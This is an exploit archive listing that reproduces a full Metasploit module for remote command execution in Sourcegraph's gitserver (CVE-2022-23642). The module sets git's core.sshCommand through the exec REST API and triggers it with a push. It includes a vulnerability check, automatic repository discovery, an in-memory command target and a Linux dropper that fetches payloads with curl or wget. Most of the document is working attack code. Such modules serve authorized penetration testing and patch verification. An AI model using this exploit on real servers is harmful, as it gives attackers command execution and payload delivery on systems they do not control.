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Sourcegraph gitserver sshCommand Remote Command Execution

Sourcegraph gitserver sshCommand Remote Command Execution
Posted Jul 13, 2022
Authored by Spencer McIntyre, Altelus1 | Site metasploit.com

A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the commands that are able to be executed through the git exec REST API.

tags | exploit, remote, arbitrary
advisories | CVE-2022-23642
SHA-256 | 0594780e2115769789da65e1767a8d75b4d0f855a6666360d2fca232bded2a21

Sourcegraph gitserver sshCommand Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sourcegraph gitserver sshCommand RCE',
'Description' => %q{
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
commands that are able to be executed through the git exec REST API.
},
'Author' => [
'Altelus1', # github PoC
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2022-23642'],
['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
],
'DisclosureDate' => '2022-02-18', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
},
],
[
'Linux Dropper',
{
'Platform' => 'linux',
# when the OS command is executed, it's executed twice which will cause some of the command stagers to
# be corrupt, these two work even for larger payloads because they're downloaded in a single command
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
},
]
],
'DefaultOptions' => {
'RPORT' => 3178
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
])
end

def check
res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
return CheckCode::Unknown unless res

if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
# this is the response if the target repo does exist, highly unlikely since it's randomized
return CheckCode::Vulnerable('Successfully set core.sshCommand.')
elsif res.code == 404 && res.body =~ /"cloneInProgress"/
# this is the response if the target repo does not exist
return CheckCode::Vulnerable
elsif res.code == 400 && res.body =~ /^invalid command/
# this is the response when the server is patched, regardless of if there are cloned repos
return CheckCode::Safe
end

CheckCode::Unknown
end

def exploit
if datastore['EXISTING_REPO'].blank?
@git_repo = send_request_list.sample
fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo

print_status("Using automatically identified repository: #{@git_repo}")
else
@git_repo = datastore['EXISTING_REPO']
end

print_status("Executing #{target.name} target")

@git_origin = Rex::Text.rand_text_alphanumeric(4..11)
git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git"
vprint_status("Using #{@git_origin} as a fake git origin")
send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def cleanup
return unless @git_repo && @git_origin

vprint_status('Cleaning up the git changes...')
# delete the remote that was created
send_request_exec(@git_repo, ['remote', 'remove', @git_origin])
# unset the core.sshCommand value
send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])
ensure
super
end

def send_request_exec(repo, args, timeout = 20)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'exec'),
'method' => 'POST',
'data' => {
'Repo' => repo,
'Args' => args
}.to_json
}, timeout)
end

def send_request_list
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'list'),
'method' => 'GET',
'vars_get' => { 'cloned' => 'true' }
})
fail_with(Failure::Unreachable, 'No server response.') unless res
fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)

res.get_json_document
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
fail_with(Failure::Unreachable, 'No server response.') unless res
unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
end

fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
end

send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
end

end
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